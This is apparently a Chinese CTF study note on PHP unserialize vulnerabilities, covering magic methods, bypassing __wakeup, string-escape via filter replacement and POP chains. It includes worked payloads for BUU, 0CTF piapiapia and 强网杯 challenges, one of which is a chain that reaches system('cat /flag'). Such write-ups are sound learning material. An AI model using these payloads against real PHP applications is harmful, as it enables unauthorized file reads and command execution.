-
定义:
序列化:将变量转换成字符串的过程
反序列化漏洞
条件:
- unserialize()函数参数可控
- 存在可利用的类且类中有魔法函数
1
2
3
4
5
6
7
8
9__construct():创建对象时初始化
__destruct():(反序列化之后自动调用)销毁对象时
__wakeup():反序列化之前调用
__sleep():序列化对象之前调用
__toString():对象被当作字符串时使用(如echo 对象 强制转换为string类型
__call():调用对象不存在时使用
__invoke(): 用调用函数的方法调用一个对象利用
绕过__wakeup :
当序列化字符串中表示的对象属性个数值大于真实,跳过
有filter函数时,过滤字符逃逸
有关字符串逃逸:
由系列化的形式可以知道,长度数字反应值中的字符多少。
php反序列化中。数字控制可以读取的值的多少
pop链
pop:面向属性编程(Property-Oriented Programming)
pop链:通过多个属性/对象前的调用关系形成可利用链
其中重点考察魔法函数
- 注意private参数 加%00在类和参数前
题目
1.
1 | <?php |
1 | <?php |
O:5:”SoFun”:1:{s:4:”file”;s:8:”flag.php”;}
将属性值改成大于真实值
O:5:”SoFun”:3:{s:4:”file”;s:8:”flag.php”;}
2. buu php
wp说dirsearch 扫描到www.zip 但我扫不出来 不知道是什么原因
同理
O:4:”Name”:2:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
O:4:”Name”:3:{s:14:”Nameusername”;s:5:”admin”;s:14:”Namepassword”;i:100;}
不可行 猜测是priviate变量的问题
因为username和password私有 上传时会自动再类与字段名前面都加上 \0
复制时会被去除 url编码 %00
O:4:”Name”:3:{s:14:”%00Name%00username”;s:5:”admin”;s:14:”%00Name%00password”;i:100;}
3. buu piapiapia (0CTF2016) 反序列化字符逃逸
同样扫描得到www.zip
其中有register页面 先注册登录 到update页面 上传之后到达profile页面
阅读源码
(大佬的顺序 是 config class
config中存在flag 运用漏洞读flag 即读 config.php
先看index中:有一个验证username和password 的条件判断 长度在3-16且互相匹配
然后进profile.php:
profile.php中载入class.php 反序列化profile(其中可以读出photo的内容)
class.php中用fillter过滤’select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 替换为 hacker
即要构造photo=config.php
update中die出情况
phone:非11位数字 固定格式 email:非十位以内@十位以内.十位以内 固定格式
nickname:非字母/数字 或 长度>10
photo:size不在5-1000000
可以看到update中只有nickename 可以用数组绕过
序列化完成后进入 profile.php 页面
1 | <?php |
a:4:{s:5:”phone”;s:11:”12345678901”;s:5:”email”;s:11:”123@123.com“;s:8:”nickname”;a:1:{i:0;s:8:””nickname;}s:5:”photo”;s:10:”config.com”;}
需要逃逸 “;}s:5:”photo”;s:10:”config.com”;} 共34 位
因此构造nickname=
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere”;}s:5:”photo”;s:10:”config.php”;}
profile页面中会先在class.php中会将where替换成hacker
再反序列化profile 多出34位 使最后34位逃逸到下一 photo
注意需要抓包修改 nickname 为 nickname[]
得到base 64 编码后的flag
总结:
1.为什么要字符逃逸 只能间接控制到某一个变量
2.如何字符逃逸 运动filter函数的替换
4. web辅助(强网杯)
index.php
1 | if (isset($_GET['username']) && isset($_GET['password'])){ |
common.php
1 | <?php |
play.php
1 | @$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR']))))); |
class.php
1 | <?php |
目的在 jungle类中的 __toString 调用 KS()中的system(“cat /flag”);
__toString 在jungle类的对象被当作字符串使用时激活
而midsolo中有将name当作字符串处理 可以连在一起
(其中要绕过midsolo的wakeup)
而topsolo中的TP()函数 将name属性当作函数 可执行__invoke函数
由此可得pop链:topsolo(midsolo(jungle()))
即 topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem(‘cat /flag’)
由于题目设置的一些别的坑,需要
1.绕过midsolo__wakeup() :改属性个数
2.反序列化字符串不允许出现name :通过大写S和十六进制绕过
3.read函数将字符串\0*\0长度由5变成3 进行逃逸
最后playload为
1 | username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0;password=2";S:7:"\00*\00pass";O:7:"topsolo":1:{S:7:"\00*\00\6eame";O:7:"midsolo":2:{S:7:"\00*\00\6eame";O:6:"jungle":1:{S:7:"\00*\00\6eame";s:7:"Lee Sin";}}}S:8:"\00*\00admin";i:0;} |
因为没找到环境 关键在理清pop链构造 这里就不仔细研究了